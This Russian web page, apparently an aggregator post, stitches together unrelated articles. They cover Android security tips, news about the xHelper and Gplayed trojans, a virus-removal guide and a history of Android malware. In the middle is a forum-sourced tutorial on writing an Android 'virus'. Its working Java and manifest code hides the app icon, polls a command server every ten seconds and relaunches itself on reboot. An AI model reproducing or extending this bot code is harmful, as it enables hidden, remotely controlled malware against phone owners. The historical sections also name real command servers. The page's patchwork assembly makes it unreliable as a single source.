Вирусы для андроид – в зоне риска — десятки миллионов смартфонов с системой «Андроид». Новости. Первый канал

Posted on by alexxlab

Содержание

Есть ли вирусы на андроид — памятка по безопасности владельцу смартфона

Современный смартфон – это маленький компьютер со всеми сильными и слабыми сторонами. Где компьютеры, там и вирусы – уже аксиома. Попробуем разобраться, есть ли вирусы на Андроид, каковы настоящие угрозы и почему так популярны антивирусные приложения.

Открытая и безопасная система

0_Вирусы для смартфонов – одна из самых актуальных и громких тем. Ведь в телефоне и планшете хранится столько личных данных! Телефонная книга, переписка, заметки, геолокационные данные, а самое вкусное – доступ к счёту и часто данные банковских карт! Казалось бы, вот раздолье для хакеров!

Тем не менее настоящие вирусы для Android – большая редкость. Каждый из них становится событием, о котором пишут и в специализированных, и в массовых изданиях. Ещё бы: ведь на сегодня в мире проданы миллиарды Android-устройств, и их безопасность касается сотен миллионов людей!

Поэтому о классических вирусах, которые пробираются на ваш компьютер без вашего ведома, можно не переживать. Однако полной безопасности это не означает.

Существует множество подводных камней, на которые может нарваться пользователь Android. И хорошо, если всё ограничится потерей некоторой суммы с телефонного счёта.

Реальные опасности Android

Если для Android практически нет вирусов, может, можно расслабиться и забыть про безопасность? Ни в коем случае! Существуют другие, не менее грозные опасности:



  •  Фишинг.  Сайты, похожие на реальные банковские страницы, требуют у вас ввести данные ваших карт. Имитаторы почтовых сервисов «уводят» пароли и имена ящиков. Фальшивые социальные сети хотят получить доступ к вашему аккаунту. Однако всё это не беда Android: фишинговые ресурсы опасны вне зависимости от платформы.
  •  Malware.  Зловредное программное обеспечение устанавливается на ваш смартфон или планшет и уводит данные. Но, в отличие от вирусов, «зловреды» для смартфонов не могут прокрасться в систему просто так. Им непременно нужно согласие пользователя.
  •  Кража смартфона.  Если злоумышленники так уж хотят именно ваши данные, проще всего для них будет завладеть смартфоном и получить доступ к системе. Поскольку телефоны лёгкие, небольшие и постоянно при владельце, проще уж, простите за подробности, подстеречь вас в подъезде и забрать устройство.

android_

Антивирусы и их задача

В свете вышесказанного понятно, что программы, обеспечивающие безопасность, мы называем «антивирусами» больше по инерции. На самом деле задача пакетов безопасности для устройств на Android OS несколько в другом:



  • Реестр вредных страниц. Стоит вам попасть на страницу, отмеченную в реестре как фишинговую, вы получите предупреждение об этом.
  • Анализ приложений на наличие «зловредных» функций. Если в приложении есть сомнительные модули, требующие сомнительных прав доступа, оно будет направлено в лабораторию на изучение.
  • «Чёрный список». В пакетах безопасности обычно есть встроенные средства фильтрации нежелательных звонков и SMS. Занесите туда номера, звонки с которых вы больше не желаете слышать.
  • «Противоугонные» функции. Если смартфон или планшет пропадёт, вы сможете удалённо очистить данные на нём, заблокировать, отобразить сообщение для нашедшего (или похитителя), часто – и отследить, где географически устройство находится.

Безусловно, всё это очень важно. Но собственно вирусы в списке угроз для Android занимают одно из последних мест. Куда больше опасности таит неумелое пользование и неосторожность. Ведь именно по собственному незнанию пользователи дают доступ сомнительным приложениям и отправляют свои данные на фальшивые сайты.

Поэтому антивирусные программы — это хорошо. Но здоровое недоверие и изучение основ безопасности – лучше.

Новый Android-вирус: как попадает на мобильное устройство и чем опасен.

Вредоносное приложение под названием xHelper не удается удалить даже полного сброса к заводским настройкам.

Что такое xHelper и какую опасность представляет

Весной текущего года специалисты компании Malwarebytes, которая занимается вопросами кибербезопасности, обнаружили новый вирус для Andriod-устройств xHelper. К августу, когда Malwarebytes подготовила подробный отчет о нем, зловред успел заразить около 35 тысяч мобильных устройств. На днях новый обзор трояна опубликовали эксперты Symantec.  Как оказалось, к этому времени xHelper заразил более 45 тысяч гаджетов. Большинство зараженных устройств находятся в Индии, США и России.

Сейчас на зараженных устройствах зловред показывает навязчивую рекламу и уведомления с предложением загрузить то или иное приложение. За это использующие вирус злоумышленники получают прибыль. По мнению экспертов, троян представляет и другую опасность — с его помощью хакеры могут установить на смартфон жертвы программу, похищающую важную информацию, например, о банковских картах. Кроме того, на аппарат могут установить приложения-вымогатели и банковские трояны.

Как зловред попадает на мобильные устройства

Как считают специалисты, основной источник заражений — не внушающие доверия сайты, предлагающие загрузить APK-файлы не из официального магазина Google Play. В зараженных приложениях скрыт код, который приводит к загрузке на устройство xHelper.

Опасная особенность зловреда заключается в том, что попав на устройство, он устанавливается на отдельная, автономно работающая программа. Если владелец гаджета удалит зараженное приложение, вирус продолжит работу как ни в чем не бывало. Мало того, даже если найти службу xHelper в настройках и удалить, вирус вновь появляется, переустанавливаясь. Не помогает и сброс к заводским настройкам.

Специалисты пока не нашли способ борьбы с xHelper.

Вконтакте

Facebook

Twitter

Google+

в зоне риска — десятки миллионов смартфонов с системой «Андроид». Новости. Первый канал

На первый взгляд это просто набор символов, строчки программного кода на черном фоне. Кто бы мог подумать, что оружие будущего будет выглядеть именно так! Перед вами Gplayed — новейшая троянская программа. Она может работать как хитрый шпион, отслеживая каждый ваш шаг или обчистить банковские счета. Трояну достаточно просто попасть на смартфон.

«Примечательно в нем то, что он модульный. Нацелен не на массовых пользователей, а на конкретного человека, чтобы к нему лучше подобраться, чтобы перехватить то, что нужно, конкретное», — рассказал антивирусный эксперт «Лаборатории Касперского» Виктор Чебышев.

Троян поражает смартфоны на базе «Андроид» и маскируется под приложение Play market — немного другая иконка, другое название, но ошибиться легко. С одной стороны, программа настойчиво будет просить ввести личные данные заново, например, подтвердить номер банковской карты, с другой — она также начинает изучать владельца.

«Маленький, компактненький, он загружается, смотрит окружение, что происходит на устройстве, отслеживает ситуацию, передает данные злоумышленникам, и они ему туда нужные модули заливают. Например, модуль перехвата WhatsApp-сообщений», — пояснил Чебышев.

Выходит, пока троян установлен на телефоне, он собирается как конструктор, может меняться и разрастаться, к вам напрямую могут подключаться злоумышленники. Американские специалисты, обнаружившие Gplayed, называют его новым видом гибридной угрозы будущего.

Покажи мне свой смартфон, и я скажу, кто ты. Сегодня мы храним в этих устройствах буквально всю личную информацию. И эта троянская программа получит доступ абсолютно ко всему: ваша геолокация, ваши контакты, банковские карты. Этот троян может отправлять СМС и звонить с вашего номера или заблокировать доступ к смартфону или стереть вообще все.

Выражение «под колпаком», пожалуй, еще никогда не касалось такого количества людей. В мире больше двух миллиардов активных пользователей «Андроид».

Еще одна очень странная деталь — Gplayed на русском языке. Страницы меню, электронные формы. Как считают американские специалисты, троян, возможно, создавался для целенаправленной атаки на российских пользователей. И тут напрашивается еще один способ использования программы — политический.

«Мы видим очень крупную DDoS-атаку с тех устройств, на которые установлены трояны. Это могут быть атаки на серьезные и важные интернет-ресурсы с целью изменений информационного поля», — подчеркнул главный аналитик Российской ассоциации электронных коммуникаций Карен Казарян.

Как не собрать ингредиенты воедино и не подать под нужным соусом? Вредоносная программа с кучей русских слов атакует с русских мобильников американские компьютеры перед выборами, почту Хиллари Клинтон, немецкие газеты, штаб-квартиру ОЗХО — все это позволяет сделать Gplayed, неизвестно кем и для чего созданный. При этом специалисты по киберпреступности заявляют: попавшая к ним версия трояна всего лишь тестовая, массовый запуск программы в Сеть, видимо, еще не состоялся, и кто знает, на что будет способна полная версия.

Обезопасить пока может только внимательность. Внимательно проверяйте приложения и сайты, их иконки и дизайн, как они себя ведут и чего требует, и ни в коем случае не переходите по неизвестным ссылкам, даже если их прислали со знакомого номера или адреса.

Как написать вирус для андроид.

Сегодня мы вообразим себя злыми хакерами и займемся написанием настоящего вируса для андроид системы. Мы подробно и с примерами расскажем о основных этапах написания вируса для операционной системы андроид. Не лишним будет напомнить, что эта статья предназначена только для удовлетворения вашего исследовательского интереса. И писать а тем более распространять вирусы не стоит 🙂


Как стать “хакером” андроида.

Да тут особо ничего мудрить не надо. Просто идем по шагам.
1. Устанавливаем java для разработчиков с офф сайта. (http://www.oracle.com/technetwork/java/javase/downloads/index.html)
2. Скачиваем android studio (http://developer.android.com/sdk/index.html#Other) Качаем полную рекомендованую. Сейчас мы не будем вдаваться в эти все подробности. Оно нам надо?
3. Запасаемся бубликами и пивом. Ведь сейчас придется все это поставить и настроить.

4. Тыкаем в основном далее, не вдумываясь что там написано. Незачем забивать голову
5. После чего как мы установили все это. Запускаем студию. Ищем сверху значек SDK Manager. Он где-то справа. Нажимаем, ставим везде галки, соглашаемся с условиями и нажимаем инсталл.
6. Опять грызем бублики и пьем великолепное пиво. Тут процесс по дольше, так как будут выкачиваться виртуалки и всяческие тулзы.
7. Ну вот собственно и все.

Как все начиналось?

Мы все поставили, теперь стоит и подумать, а как тут теперь вирус написать А для этого мы идем в File -> New -> New project. И тут нам предлогают придумать название проекта и домен сайта компании. Вводим что взбредится в голову. На основе этих данных генерируется package имя. Которое использоется как уникальный идентефикатор нашего APK. Жмем далее. Тут нам предлогают выбрать платфурму под наш проект. Ну тут мы выбираем только Phone. Остальное рассмотрим позже.

[ad name=”UMI 600×313″]

Далее. И теперь нам предлогают выбрать как будет выглядеть наше окошечко (Activity) стартовое, главное. Тут есть важная особенность. Чтобы запустить какой либо код сразу после установки, нужно чтобы было какой либо из окошек при старте. Поэтому выбираем любое кроме No Activity. Лучше всего выбрать Empty. Будет легче его вычищать, от ненужного мусора. Далее. Пишем название окошку и нажимаем Finish.

Пока файлы нового проекта индексируются и настраивается сборщик проекта.

Эй, ты слишком жырный!

Пробуем собрать проект наш. Build -> Generate signed apk.. И что мы видим? APK с 1 окошком и приложением которое ни чего не делает. Занимает 1 мегабайт. Надо с этим что-то делать, а именно отказывать от библиотек (AppCompat). Это красивая графика, которая нам не нужна. Переходи в файл MainActivity.java
Заменяем

public class MainActivity extends AppCompatActivity

на

public class MainActivity extends Activity

Удаляем

import android.support.v7.app.AppCompatActivity;

Заходим в настройки проекта и во вкладке Dependes удаляем строку с AppCompat. Далее переходим к файлу values.xml и styles.xml. Удаляем их.
Заходим в androidManifest.xml и
меняем

android:theme=»@style/AppTheme»

на

android:theme=»@android:style/Theme.Translucent.NoTitleBar»

Собираем наше приложение, ура! размер меньше 40 кб. Уже есть с чем работать.

Почему ты не прячешься?

Далее, нам нужно спрятать нашего зверька. Чтобы иконка не была видна в списке менеджера приложений. А так же надо закрыть наше приложение.
Вставляем после setContentView(R.layout.activity_main) Следующий код:

String pgkname = getApplicationContext().getPackageName();

ComponentName componentToDisable = new ComponentName(pgkname,pgkname+».MainActivity»);

getApplicationContext().getPackageManager().setComponentEnabledSetting(

   componentToDisable,

   PackageManager.COMPONENT_ENABLED_STATE_DISABLED,

   PackageManager.DONT_KILL_APP);

Этот код скроет нашу иконку с глаз И после всего этого пишем:
Теперь наше приложение после установки. Запускается и сразу же скрывается с глаз долой. Ух, проделали мы работу. Но надо идти дальше, а то бот не появиться в админке.

[ad name=”MiBand2″]

Тук, тук, открывайте, полиция!

Теперь мы должны сделать так, чтобы наш чудесный APK начал стучать в админку. Тут я уже полагаю, что админка где-то написана. И от нас требуется только стучать. Возьмем самый простой метод, он не будет работать корректно на андроидах выше 4.х. Но с чего-то надо же учиться. Я же не за вас работу делаю. Нам нужно создать сервис. Для этого мы создаем файл с новым class. (Правой тыкаем в проекте, на папку Java). Название класса пишем к примеру Network. Нажимаем окей. Удаляем все содержимое файла кроме первой строки где прописан package и заменяем на

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

import android.app.Service;

import android.content.Intent;

import android.os.IBinder;

 

import org.apache.http.HttpResponse;

import org.apache.http.client.HttpClient;

import org.apache.http.client.methods.HttpGet;

import org.apache.http.client.methods.HttpPost;

import org.apache.http.entity.StringEntity;

import org.apache.http.impl.client.DefaultHttpClient;

 

import java.io.InputStream;

import java.util.Timer;

import java.util.TimerTask;

 

public class Network extends Service{

 

   @Override

   public int onStartCommand(Intent intent, int flags, int startId) {

       return Service.START_STICKY;

   }

 

   @Override

   public IBinder onBind(Intent intent) {

       throw new UnsupportedOperationException(«»);

   }

 

   @Override

   public void onCreate()

   {

       MyTimerTask myTask = new MyTimerTask();

       Timer myTimer = new Timer();

       myTimer.schedule(myTask, 10000, 10000);

   }

 

   class MyTimerTask extends TimerTask {

       public void run() {

           String result = «»;

           result = GET(«http://site.ru/?q=»);

           // Обработка result

 

       }

   }

 

   public String GET(String url){

       InputStream inputStream = null;

       String result = «»;

       try {

           HttpClient httpclient = new DefaultHttpClient();

           HttpResponse httpResponse = httpclient.execute(new HttpGet(url));

           inputStream = httpResponse.getEntity().getContent();

           if(inputStream != null)

               result = convertInputStreamToString(inputStream);

           else

               result = «»;

       } catch (Exception e) {

       }

       return result;

   }

}

Это код описывает класс сервиса, в котором при запуске, запускает таймер и каждые 10 секунд отправляет GET запрос на URL и запрашивает ответ. Но это не все. Этот код не будет работать если мы объявим наш сервис в манифесте и не дадим права выходить в интернет нашему приложению. Идем в манифест.

Добавляем

<uses-permission android:name=»android.permission.INTERNET» />

и в описание application

<service android:name=».Network» />

Осталось запустить наш сервис. Идем в MainActivity и перед finish() вставляем запуск сервиса

getApplicationContext().startService(new Intent(getApplicationContext(), Network.class));

Финишная линия

Теперь у нас есть апк, который сам себя скрывает после запуска и запускает процес отстука в админ панель. Где написано // Обработка result : там происходит обработка ответа и команд админки. Не сложно, правда? Но пока мы пили пиво. Мы совсем забыли, что если телефон перезагрузят. То наше приложение уже ни когда не запустится. Для этого мы идем опять в манифест.
Добавляем права на запуск после ребута:

<uses-permission android:name=»android.permission.RECEIVE_BOOT_COMPLETED» />

Добавляем обязательно обработчик в описание application

<receiver

           android:name=».Boot»

           android:enabled=»true» >

           <intent-filter>

               <action android:name=»android.intent.action.BOOT_COMPLETED» />

               <action android:name=»android.intent.action.QUICKBOOT_POWERON» />

           </intent-filter>

       </receiver>

Теперь после перезапуска у нас вызовется класс Boot. И сейчас мы его создаим. Все делаем как я писал выше. Создали и удалили все кроме package.

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

 

public class Boot extends BroadcastReceiver {

 

   @Override

   public void onReceive(Context context, Intent arg1) {

context.startService(new Intent(context, Network.class));

   }

}

[ad name=”Redmi”]

Конец, и пару слов.

Если есть вопросы, задавайте. В окончании у нас появился прям такой игрушечный бот (APK). Что послужит вам хорошей базой и внесет немного понимания, как это все работает. Спасибо за внимание. Надеюсь будет прододжение Сильно не пинайте, опыт первый, да и еще ночью пришлось писать. А вот критику хотелось бы услышать, чтобы след урок получился лучше.

За данный материал мы благодарны пользователю allmore из форума Damagelab

Click to rate this post!

[Total: 117 Average: 2.6]

Как 100% удалить любой вирус на смартфоне или планшете Android

Практически вся наша современная жизнь завязана на смартфоне. Мы храним на устройстве логины, пароли, контакты, данные кредитных карт и прочую конфиденциальную информацию, которая интересует злоумышленников. С помощью вирусов и других вредоносных приложений они пытаются похитить эти данные в своих корыстных целях. Удалить вирус с Андроид совсем не сложно если следовать простой инструкции, но сначала нужно узнать, есть ли вирус на телефоне.

Признаки вируса на телефоне

Любое нестандартное поведение телефона может свидетельствовать о наличии вируса.

Если ваш телефон:

  • Быстро разряжается
  • Греется даже когда ничего не запущено
  • Сам запускает приложения
  • На экране появился рекламный баннер, который не закрывается кнопкой «Домой»
  • Информирует, что обнаружено вредоносное ПО
  • Перестал запускать некоторые приложения, например антивирус
  • Показывает сообщение «в приложении com.android.systemUI произошла ошибка»
  • Не открывает настройки и другие системные приложения
  • Стал совершать звонки без вашего ведома на короткие номера, за которые списывают деньги

Могут быть и другие проблемы, которые могут быть признаком заражения Андроида вирусом.

Как удалить вирус с Андроид смартфона или планшета

Давайте рассмотрим все способы удаления вируса начиная от самого простого

С помощью антивирусного приложения

Если есть возможность запустить антивирус, в первую очередь воспользуемся им. К счастью многие производители смартфонов добавляют антивирусное ПО в прошивку смартфона. Например у Samsung он находится по пути настройки => обслуживание устройства => безопасность

Как удалить вирус с Андроид

Запустите встроенный антивирус

Как удалить вирус с Андроид

Нажмите «Сканировать» и дождитесь выполнения операции

Как удалить вирус с Андроид

Антивирус просканирует все установленные приложения и, если вирус будет найден, сообщит вам об этом и предложит варианты действий с ним.

Посмотрите аналогичную функцию на вашей модели телефона. Если не нашли, то попробуйте скачать антивирус с Play Market:

Или любой другой на ваш выбор. Установите антивирус, просканируйте систему и в конце перезагрузите смартфон.

Удаление вируса в безопасном режиме

Безопасный режим на Андроид

Если в обычном режиме удалить вирус не получается, попробуем сделать это в безопасном режиме.

Как перейти в безопасный режим

После того, как зашли в безопасный режим, откройте настройки и выберите раздел «Безопасность»

Откройте вкладку «Администраторы устройства» и снимите галочки со всех приложений. Вирус может препятствовать снятию галочки, если это произошло следует повторить попытку. Если в администраторах было подозрительное приложение, попробуйте удалить его через диспетчер приложений.

Администраторы устройства Андроид

Вирус может маскироваться под стандартное приложение, такое как «Сообщения» или «Контакты», смело их удаляйте. Если это системное приложение, кнопки «Удалить» не будет, таким образом навредить телефону вы не сможете.

Ещё раз проскандируйте систему антивирусом и перезагрузите смартфон.

Восстановление настроек до заводских

Не самый лучший вариант, так как с помощью него можно удалить не только вирус, но и все пользовательские данные. С помощью этого способа телефон вернётся к состоянию, в котором он был при покупке. Таким образом шансы избавиться от вредоносного приложения стремятся к 100%.

  • Откройте настройки смартфона и найдите раздел со словами «Восстановление и сброс»
    Сброс Андроид до заводских настроек
  • Выберите параметр «Сброс данных» для полной очистки внутренней памяти телефона. Если у вас установлена карта памяти, извлеките её и, используя micro SD адаптер, проверьте на вирусы на компьютере. Если вирусы не будут найдены, сохраните все важные файлы и отформатируйте корту памяти.
    Сброс Андроид до заводских настроек
  • Сброс данных займёт какое-то время. Телефон перезагрузится и включится на этапе первоначальной активации
  • Активируйте телефон и проверьте его работоспособность.

Перепрошивка смартфона

В редких случаях, удалить вирус на Андроид не получается даже сбросом настроек, так как вирус проникает в операционную систему очень глубоко. В такой ситуации остаётся только прошивка смартфона. Если вы используете смартфон Samsung, на сайте есть подробная инструкция по прошивке телефонов этой марки. Для других моделей инструкции ищите на нашем сайте или на форуме 4pda.

Как не допустить заражения телефона

В одной из своих статей, я уже рассматривал вопрос, стоит ли использовать антивирус на Андроид и пришёл к следующим выводам:

Если вы не хотите подхватить вирус, следуйте некоторым правилам:

  • Откажитесь от использования взломанных программ.
  • Скачивайте приложения только из проверенных источников, таких как Play Market или andapps.ru
  • Своевременно устанавливайте обновления системы, которые помимо внешних изменений, несут в себе патчи безопасности, закрывающие уязвимости системы
  • Периодически используйте встроенное ПО для сканирования системы на наличие вирусов

Следование этим простым правилам сделает использование смартфона комфортным и максимально безопасным.

История мобильного вирусописательства на примере Android — «Хакер»

Содержание статьи

Первый экспериментальный образец полноценного трояна для Android был представлен летом 2010 года на конференции DEF CON 18. С тех пор прошло уже более четырех лет, и за это время количество вирусов для мобильной ОС от Google выросло в тысячи раз, а Google успела придумать десятки различных методов противостояния угрозам. В этой статье мы детально исследуем мир вредоносов для Android и проследим противостояние поискового гиганта и хакеров.

 

До нашей эры, или как написать вирус за 15 минут

Первые попытки создать вредоносный софт для Android и доказать несостоятельность гугловской мобильной платформы с точки зрения безопасности начались с публикации первых предварительных версий Android SDK в 2007 году. Молодые студенты писали софт, который использовал стандартную функциональность смартфона для чтения SMS’ок, а «исследовательские» команды, вроде Blitz Force Massada, демонстрировали аж «30 векторов атак на Android», показывая, как можно использовать стандартные API Android во вредоносных целях.

Это было время игрушек, которые нельзя было назвать ни настоящим вредоносным ПО, ни тем более вирусами. То тут, то там появлялись приложения, вроде Mobile Spy от Retina-X Studios, которые позволяли удаленно читать текстовые сообщения, историю звонков, просматривать фотографии, видео, определять координаты смартфона. Встречались и различные поддельные приложения, такие как обнаруженный в маркете в январе 2010 года неофициальный клиент для различных банков, который ни с чем не соединялся, а просто уводил номера кредитных карт, введенных самим пользователем.

Более-менее настоящий троян был реализован только в 2010 году секьюрити-компанией Trustwave, которая продемонстрировала его на конференции DEF CON 18. Впрочем, Америки они не открыли; троян был всего лишь стандартным модулем ядра Linux, который перехватывал системные вызовы write(), read(), open() и close(), а также создавал реверсивный шелл по звонку с определенного номера. Вся эта функциональность позволяла подключиться к смартфону удаленно и скрытно использовать его возможности в своих целях, в том числе читать конфиденциальную информацию.

Для установки руткита требовался физический доступ к устройству, root-права и смартфон HTC Legend (модуль был совместим только с его ядром), поэтому ни о каком практическом применении руткита речи не шло. Proof of concept, который доказал только то, что ядро Linux и в смартфоне остается ядром Linux.

Настоящий троян в «дикой природе» (не маркете) был найден только в августе 2010 года. Правда, это был совсем не тот тип трояна, о котором принято писать в нашем журнале, а всего лишь SMS-троян, то есть, по сути, обычное приложение, которое шлет SMS на платные номера без ведома юзера. Игрушка, которую хороший программист напишет за полчаса, но очень опасная, попади она к обычному юзеру.

Троян, получивший имя Trojan-SMS.AndroidOS.FakePlayer.a, прикидывался видеоплеером под незамысловатым названием Movie Player и с иконкой стандартного проигрывателя из Windows. Приложение требовало права доступа к карте памяти, отправке SMS и получению данных о смартфоне, о чем система сообщала перед его установкой. Если все это не смущало пользователя и он соглашался с установкой и запускал приложение, оно повисало в фоне и начинало отправку SMS на номера 3353 и 3354, каждая из которых обходилась в пять долларов. Номера эти, кстати, действовали только на территории России, так что нетрудно догадаться о корнях автора данного «произведения».

В октябре был обнаружен другой тип SMS-трояна. На этот раз зловред использовал смартфон не для опустошения кошелька жертвы, а для кражи его конфиденциальных данных. После установки и запуска троян уходил в фон и пересылал все входящие SMS на другой номер. В результате злоумышленник мог не только завладеть различной конфиденциальной информацией пользователя, но и обойти системы двухэтапной аутентификации, которые для входа требуют не только логин и пароль, но и одноразовый код, отправляемый на номер мобильного телефона.

Интересно, что номер телефона злоумышленника не был жестко вбит в код трояна, а конфигурировался удаленно. Чтобы его изменить, требовалось отправить на номер жертвы особым образом оформленную SMS, которая содержала номер телефона и пароль. Пароль можно было изменить с помощью другой SMS, по умолчанию использовалась комбинация red4life.

 

Geinimi и все-все-все

Первый по-настоящему профессионально написанный и обладающий защитой от анализа вредонос для Android был обнаружен только в декабре 2010 года компанией Lookout. Троян, получивший имя Geinimi, качественно отличался от всего, что было написано ранее, и обладал следующими уникальными характеристиками:

  • Распространение в составе легитимного ПО. В отличие от всех остальных зловредов, которые только прикидывались настоящими программами и играми, Geinimi на самом деле внедрялся в реально существующие игры. В разное время троян был найден в составе таких приложений, как Monkey Jump 2, President Versus Aliens, City Defense and Baseball Superstars 2010, разбросанных по местным маркетам Китая и различным torrent-трекерам. Функциональность оригинального приложения полностью сохранялась, поэтому пользователь даже не догадывался о заражении смартфона.
  • Двойная защита от анализа. Код трояна был пропущен через обфускатор, что затрудняло его анализ, а все коммуникации с удаленным сервером шифровались (справедливости ради стоит сказать, что использовался ущербный алгоритм DES с ключом 12345678).
  • Возможность использования для организации ботнета. В коде Geinimi было найдено более 20 управляющих команд, которые позволяли выполнять такие операции, как установка и удаление приложений (правда, на это требовалось разрешение пользователя), получение списка всех установленных программ или запуск приложений.

В целом Geinimi действовал по следующему алгоритму. После запуска зараженного приложения создавался фоновый сервис, который собирал персональные данные: координаты устройства, номера IMEI и IMSI. Затем с интервалом в одну минуту он пытался связаться с одним из десяти удаленных серверов (www.widifu.com, www.udaore.com, www.frijd.com и другими), куда передавалась вся собранная информация и где собирались команды для удаленного исполнения.

Geinimi стал родоначальником полнофункциональных троянов для Android, и после его первого обнаружения на просторах интернета стали все чаще появляться зловреды с аналогичной или похожей функциональностью. Вскоре была найдена модификация Geinimi под названием ADRD, троян Android.Pjapps и множество других. Все они распространялись через различные сайты, torrent-трекеры, китайские неофициальные магазины, поэтому защититься от них можно было, просто не устанавливая приложения из неизвестных источников. Однако все изменилось, когда был обнаружен троян DroidDream, распространявшийся в составе более чем 50 приложений, опубликованных в официальном Android Market.

 

DroidDream и начало борьбы за чистоту маркета

В марте 2011 года пользователь Lompolo сообщил на reddit, что в маркете Android обнаружено нескольких десятков вредоносных приложений, опубликованных человеком с ником Myournet. Несмотря на заурядность самого трояна, а также уже известный способ распространения, основанный на внедрении кода в легитимное приложение, факт наличия малвари в маркете, а также предположения о том, что она использует эксплойт rageagainstthecage для получения прав root на устройстве, быстро подогрели интерес к новости пользователей и сотрудников различных секьюрити-компаний. За несколько дней начальный список из двух десятков приложений расширился до 56, а среди публиковавших его людей (или ботов, кто знает) обнаружились Kingmall2010 и we20090202.

Сам по себе DroidDream по функциональности был очень похож на упрощенный Geinimi, но не был его вариацией. Он также собирал информацию о смартфоне, отправлял ее на удаленный сервер (http://184.105.245.17:8080/GMServer/GMServlet) и получал в ответ управляющие команды. Плюс ко всему он также содержал в себе другое приложение, спрятанное в каталоге assets/sqlite.db внутри APK и устанавливаемое в систему под именем DownloadProvidersManager.apk. Очевидно, это была защита от удаления.

В сумме зараженные приложения успели установить от 50 до 200 тысяч пользователей, пока команда безопасности Google не отреагировала на сообщение и не удалила из маркета все найденные копии зловреда и аккаунты выложивших их пользователей. В дополнение в маркете также появилось приложение Android Market Security Tool, с помощью которого пользователь мог очистить смартфон от заразы. Но и здесь не обошлось без конфуза. Буквально через два дня после этого Symantec обнаружила на просторах интернета зараженную версию этого приложения, которая содержала в себе уже другой троян, названный впоследствии Fake10086 за выборочную блокировку SMS с номера 10086.

Факт проникновения малвари в Android Market (а после DroidDream в маркете было обнаружено еще несколько вирусов) заставил Google серьезно задуматься над безопасностью своего репозитория приложений, а так как вручную они ничего делать не привыкли, то в результате в начале 2012 года выкатили сервис Bouncer, который проверял приложения на безопасность с помощью запуска в виртуальной машине. Задача Bouncer состояла в том, чтобы производить многократный запуск софтины, симулировать работу пользователя с приложением и анализировать состояние системы до и после работы с приложением. Если никаких странных и подозрительных действий софтина себе не позволяла, то она пропускалась в маркет, в противном случае публикация блокировалась.

Если верить Google, то сразу после запуска Bouncer сократил количество вредоносов в маркете на 40% Однако позднее выяснилось, что его можно легко обойти, просто проанализировав некоторые характеристики системы, такие как email-адрес владельца «смартфона», версию ОС и так далее, а затем создав приложение, которое при их обнаружении будет действовать абсолютно законно и делать грязную работу только на настоящем смартфоне. Скорее всего, Google уже разработала схему противодействия обнаружению Bouncer (например, с помощью генерации уникальных виртуальных окружений для каждого приложения).

Конец 2011 года: начало стремительного роста количества вирусов для Android

 

Zeus-in-the-Mobile

Пять лет назад по компам пользователей начал свое победоносное шествие троян под названием Zeus. Благодаря изощренному дизайну и продвинутым техникам маскировки, делавшим его обнаружение невероятно трудной задачей, он смог распространиться на миллионы машин по всему миру и создать один из самых крупных ботнетов в истории; только в США было зафиксировано более трех с половиной миллионов случаев заражения.

Так выглядел интерфейс первой обнаруженной версии Zeus

Основная задача Zeus состояла в организации атаки типа man-in-the-browser, то есть использования техник кейлоггинга и формграббинга для перехвата частной пользовательской информации и ее отправки на удаленные серверы. За время своей работы Zeus смог утащить сотни тысяч логинов и паролей от популярных сервисов (Facebook, Yahoo!, hi5, metroFLOG, Sonico, Netlog) и, конечно же, множества онлайн-банков.

Разработчик Zeus быстро отреагировал на появление систем двухфакторной аутентификации и в 2010 году выпустил для Symbian и BlackBerry приложения, задача которых состояла в перехвате аутентификационных SMS-сообщений с одноразовыми кодами авторизации и их последующей отправке на все те же удаленные серверы. В середине 2012 года аналогичное приложение появилось и для Android.

Первая его версия была очень примитивна и представляла собой якобы секьюрити-приложение, которое при запуске выводит код верификации и закрывается. В результате в фоне повисает сервисный процесс, который занимается перехватом SMS и их отправкой на удаленный сервер. Последующие версии Zeus для Android обзавелись также системой удаленного управления с помощью сообщений с определенного номера, однако никаких продвинутых приемов маскировки или распространения вирус не использовал и в этот раз.

Тем не менее мобильная версия Zeus все-таки смогла наделать много шума в СМИ, но, как можно видеть, троян был сильно переоценен.

А так выглядела версия, обнаруженная спустя десять месяцев

 

Первый IRC-бот

В середине января 2012 года сотрудники «Лаборатории Касперского» сообщили, что обнаружен первый в истории Android IRC-бот. Приложение распространялось в виде установочного APK-файла размером чуть больше 5 Мб и выдавало себя за игру Madden NFL 12. Интересное отличие этого трояна от других было в том, что, по сути, вся его логика работы заключалась в нативных приложениях Linux, которые никак не светились в окне стандартного диспетчера задач Android и к тому же использовали локальный эксплойт для получения прав root.

Во время запуска приложение создавало каталог /data/data/com.android.bot/files, в котором размещало три файла: header01.png, footer01.png, border01.png, а затем ставило на них бит исполнения и запускало первый файл — эксплойт Gingerbreak для получения прав root на устройстве. Если была установлена уже рутованная прошивка, приложение пыталось получить права root штатными средствами, в результате чего у пользователя запрашивалось предоставление повышенных привилегий (тот случай, когда рутованный смартфон безопаснее залоченного).

В случае успешного получения прав root любым из двух способов запускался второй файл, в котором хранился SMS-троян — модификация известного трояна Foncy SMS. Троян определял принадлежность SIM-карты стране и начинал отправку сообщений на короткий платный номер, блокируя все ответные сообщения. Следующим запускался файл border01.png, в котором был код IRC-бота. Он подключался к IRC-серверу с IP-адресом 199.68.. и регистрировался на канале #andros под случайным ником. Все сообщения, отправленные боту, выполнялись в консоли как обычные Linux-команды.

Согласно заявлению сотрудников «Лаборатории Касперского», это было первое приложение такого класса для Android. Однако, по их мнению, опасность его была невелика, так как распространялся он только через серые маркеты, а эксплойт работал только в ранних версиях Android 2.3.

 

Первый полиморфный троян

В феврале 2012-го компания Symantec сообщила, что обнаружила первый полиморфный троян для платформы Android, который на тот момент не мог быть найден ни одним мобильным антивирусом, кроме ее собственного (сюрприз). Троян, названный Android.Opfake, распространялся через различные веб-сайты, находившиеся преимущественно на территории России и стран СНГ, в виде бесплатной версии популярного приложения или игры.

Полиморфным он был только условно, так как изменение трояна происходило на стороне сервера. При каждой новой загрузке файла содержимое APK-файла изменялось с помощью различных методов, таких как модификация файлов данных, включение в пакет приложения «мусорных файлов», а также изменение имен файлов. Все это затрудняло обнаружение мобильными антивирусами, которые в то время использовали примитивные техники идентификации, типа сверки контрольных сумм и проверки на наличие специфических файлов в пакете.

